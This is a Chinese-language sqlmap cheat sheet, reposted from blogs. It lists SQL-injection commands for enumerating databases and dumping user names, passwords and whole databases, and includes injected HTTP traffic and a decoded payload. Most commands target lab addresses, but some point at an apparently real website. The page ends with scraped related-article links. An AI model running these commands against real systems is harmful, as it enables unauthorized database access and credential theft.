获取数据库名

./sqlmap.py  -u "http://www.xx.php?nid=14550" --user-agent "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)" --dbs
 
获取表名

./sqlmap.py  -u "http://www.xxx.php?nid=14550" --user-agent "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)" -D database --tables
 
获取列名

./sqlmap.py  -u "http://www.xxx.php?nid=14550" --user-agent "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)" -D database -T cdb_adminactions --columns
 
获取值

./sqlmap.py  -u "http://www.xxx.php?nid=14550" --user-agent "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)" -D database -T cdb_members -C username,password --dump
 
来源:<a href="http://hi.baidu.com/p3rlish/blog/item/642cc6b5126297c736d3cace.html" target="_blank">影子</a>

更新

svn checkout  https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
 
sqlmap.py -u  "http://www.islamichina.com/hotelinchina.asp?cityid=2&amp;m=1" -v 1 --sql-shell  //执行SQL语句

sqlmap.py -u  "http://www.islamichina.com/hotelinchina.asp?cityid=2&amp;m=1" -v 5  //更详细的信息
 
load options from a configuration INI file
sqlmap -c  sqlmap.conf

使用POST方法提交

sqlmap.py -u  "http://192.168.1.121/sqlmap/oracle/post_int.php" --method POST --data  "id=1"

使用COOKIES方式提交,cookie的值用;分割,可以使用TamperData来抓cookies

python  sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/cookie_int.php" --cookie "id=1"  -v 1

使用referer欺骗

python sqlmap.py -u  "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --referer  "http://www.google.com" -v  3

使用自定义user-agent,或者使用随机使用自带的user-agents.txt

python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3
 
python sqlmap.py -u  "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 -a  "./txt/user-agents.txt"

使用基本认证

python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass" -v 3

使用Digest认证

python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/digest/get_int.php?id=1" --auth-type Digest --auth-cred "testuser:testpass" -v 3

使用代理,配合TOR

python sqlmap.py -u  "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --proxy  "http://192.168.1.47:3128"
python sqlmap.py -u  "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --proxy  "http://192.168.1.47:8118"

使用多线程猜解

python sqlmap.py -u  "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 --current-user  --threads 3

绕过动态检测,直接指定有注入点的参数,可以使用,分割多个参数,指定user-agent注入

python  sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 1 -p  "id
python sqlmap.py -u  "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&amp;cat=2" -v 1 -p  "cat,id"
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/ua_str.php" -v 1 -p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)"

指定数据库,绕过SQLMAP的自动检测

python sqlmap.py  -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 2 --dbms  "PostgreSQL"
 
* MySQL
* Oracle
* PostgreSQL
*  Microsoft SQL Server

指定操作系统,绕过SQLMAP自动检测

python sqlmap.py -u  "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 2 --os  "Windows"
 
* Linux
* Windows
 
自定义payload
Options:  --prefix and --postfix
 
In some circumstances the vulnerable parameter is exploitable only if the user provides a postfix to be appended to the injection payload. Another scenario where these options come handy presents itself when the user already knows that query syntax and want to detect and exploit the SQL injection by directly providing a injection payload prefix and/or postfix.
 
Example on a MySQL 5.0.67 target on a page where the SQL query is: $query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";:
 
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_str_brackets.php?id=1" -v 3 -p "id" --prefix "'" --postfix "AND 'test'='test"
 
[...]
[hh:mm:16]  [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
[hh:mm:16] [INFO] testing custom injection on GET parameter 'id'
[hh:mm:16] [TRAFFIC OUT] HTTP request:
GET  /sqlmap/mysql/get_str_brackets.php?id=1%27%29%20AND%207433=7433%20AND%20
%28%27test%27=%27test HTTP/1.1
Accept-charset:  ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept:  text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
p_w_picpath/png,*/*;q=0.5
User-agent: sqlmap/0.7rc1  (http://sqlmap.sourceforge.net)
Connection: close
[...]
[hh:mm:17] [INFO] GET parameter 'id' is custom injectable
[...]
 
As you can see, the injection payload for testing for custom  injection is:
 
id=1%27%29%20AND%207433=7433%20AND%20%28%27test%27=%27test
 
which URL  decoded is:
 
id=1') AND 7433=7433 AND ('test'='test
 
and makes  the query syntatically correct to the page query:
 
SELECT * FROM users  WHERE id=('1') AND 7433=7433 AND ('test'='test') LIMIT 0, 1
 
In this simple example, sqlmap could detect the SQL injection and exploit it without need to provide a custom injection payload, but sometimes in the real world application it is necessary to provide it.

页面比较

python sqlmap.py  -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" --string  "luther" -v 1
python sqlmap.py -u  "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" --regexp  "&lt;td&gt;lu[\w][\w]er" -v

排除网站的内容

python sqlmap.py -u  "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" --excl-reg "Dynamic  content: ([\d]+)"

多语句测试,php内嵌函数mysql_query(),不支持多语句

python sqlmap.py  -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --stacked-test -v  1

union注入测试

python sqlmap.py -u  "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --union-test -v  1

unionz注入配合orderby

python sqlmap.py -u  "http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1" --union-test --union-tech  orderby -v 1
 
python sqlmap.py -u  "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1 --union-use  --banner
python sqlmap.py -u  "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 5 --union-use  --current-user
python sqlmap.py -u  "http://192.168.1.121/sqlmap/mysql/get_int_partialunion.php?id=1" -v 1  --union-use --dbs
 
fingerprint
python sqlmap.py -u  "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1 -f
python sqlmap.py  -u "http://192.168.123.36/sqlmap/get_str.asp?name=luther" -v 1 -f  -b

判断当前用户是否是dba

python sqlmap.py -u  "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --is-dba -v  1
 
列举数据库用户

python sqlmap.py -u  "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --users -v  0

列举数据库用户密码

python sqlmap.py -u  "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --passwords -v 0
python  sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --passwords -U  sa -v 0

查看用户权限

python sqlmap.py -u  "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --privileges -v  0
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1"  --privileges -U postgres -v 0

列数据库

python sqlmap.py -u  "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dbs -v  0

列出指定数据库指定表的列名

python sqlmap.py -u  "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --columns -T users -D test  -v 1

列出指定数据库的指定表的指定列的内容

python sqlmap.py -u  "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dump -T users -D master  -C surname -v 0

指定列的范围从2-4

python sqlmap.py -u  "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --dump -T users -D test  --start 2 --stop 4 -v 0

导出所有数据库,所有表的内容

python sqlmap.py -u  "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --dump-all -v  0

只列出用户自己新建的数据库和表的内容

python sqlmap.py -u  "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dump-all --exclude-sysdbs  -v 0
 
sql query
python sqlmap.py -u  "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql-query "SELECT usename  FROM pg_user" -v 0
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --sql-query "SELECT host, password FROM mysql.user LIMIT 1, 3" -v 1
 
SELECT usename, passwd FROM  pg_shadow ORDER BY usename

保存和恢复会话

python sqlmap.py -u  "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b -v 1 -s  "sqlmap.log"

保存选项到INC配置文件

python sqlmap.py -u  "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b -v 1 --save

转载于:https://blog.51cto.com/obnus/472611

sqlmap注入语句整理相关推荐

  1. 转载,常用SQL注入语句整理

    1.   用^转义字符来写ASP(一句话木马)文件的方法: ?    http://192.168.1.5/display.asp?keyno=188 1;exec master.dbo.xp_cmd ...

  2. sql注入之——SQLMap常见语句

    填坑~~ SQLMap常见语句 首先要明确 整个的单词 需要用两个横杠– 缩写的单词 需要一个横杠- 参考:https://www.freebuf.com/sectool/164608.html 一. ...

  3. SQLMAP注入教程-11种常见SQLMAP使用方法

    一.SQLMAP用于Access数据库注入 (1)猜解是否能注入 win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.a ...

  4. 利用sqlmap注入获取网址管理员账号密码

    1.跨站脚本 原理:指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料.利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式. ( ...

  5. 最详细的SQL注入语句

    最详细的SQL注入语句相关的命令整理 1.    用^转义字符来写ASP(一句话木马)文件的方法:    http://192.168.1.5/display.asp?keyno=1881;exec ...

  6. MySQL 语句整理 2019-5-3

    MySQL 语句整理 在整理完Oracle的一些常见用语句后,由于MySQL的语法跟Oracle略有不同,随跟PN的MySQL视频进行了间接整理. 查询薪水大于1800, 并且部门编号为20或30的员 ...

  7. concat mysql sql注入_sql注入-mysql注入基础及常用注入语句

    最近在教学中,关于SQL注入,总发现学生理解起来有些难度,其实主要的原因是对各类数据库以及SQL语句不熟悉,今天先介绍mysql注入需要掌握的基础, Mysql内置information_schema ...

  8. 一个项目涉及到的50个Sql语句(整理版)

    /* 标题:一个项目涉及到的50个Sql语句(整理版) 作者:爱新觉罗.毓华(十八年风雨,守得冰山雪莲花开) 时间:2010-05-10 地点:重庆航天职业学院 说明:以下五十个语句都按照测试数据进行 ...

  9. mysql注入语句解释,MYSQL注入语句实用精解

    MYSQL注入语句实用精解 只讲字符型. order by XX Union select ..... 1' UNION SELECT 1,CONCAT(user(),0x3a,database(), ...

  10. sql注入语句示例大全_SQL Order By语句:示例语法

    sql注入语句示例大全 Order By is a SQL command that lets you sort the resulting output from a SQL query. Orde ...

最新文章

  1. Google Protocol Buffer 的使用和原理
  2. OSI协议和TCP/IP协议笔记
  3. 函数学习-delattr()
  4. vnc连接linux使用教程_linux系统下vnc 的配置和使用方法
  5. Sharepoint学习笔记—Ribbon系列-- 3.在Ribbon中找到正确的Location
  6. [转]Using The Entity Framework With WCF
  7. 职称计算机提前考试试卷,职称计算机考试多项选择考试卷模拟考^试题
  8. 此url不支持http方法get_HTTP 入门
  9. C#判断访问入口是移动端还是PC
  10. 2021年中国单一麦芽的威士忌市场趋势报告、技术动态创新及2027年市场预测
  11. weblogic启动项目失败查看_weblogic启动报错常见错误解决办法
  12. 常用的python模块及安装方法
  13. 数据结构-查找-折半查找-二叉排序树查找
  14. 步步为营100-开发前的思考
  15. Hadoop权威指南:知识梳理(一)
  16. linux台式机怎么用无线网卡,台式机无线网卡怎么用 台式机USB无线网卡安装使用教程...
  17. 时间序列平稳性的判断
  18. 【计组笔记-1】ASCII码,区位码,国标码,汉字内码,以及万国码
  19. 第四节 二维连续型随机变量及分布、条件概率密度
  20. uni-app改变radio的默认样式 去掉小对号

热门文章

  1. SpringBoot(一)启动相关
  2. k8s基本概念-如何使用私有regsitry
  3. CentOS6.5 调整 /home 挂载 分区大小
  4. 10个基于 Ruby on Rails 构建的顶级站点
  5. CvtColor(转)
  6. linux 文件与目录操作
  7. 3.5 Java经典垃圾收集器介绍
  8. ArrayList常用函数
  9. Flex布局使用总结
  10. Android 详解自定义View抽奖转盘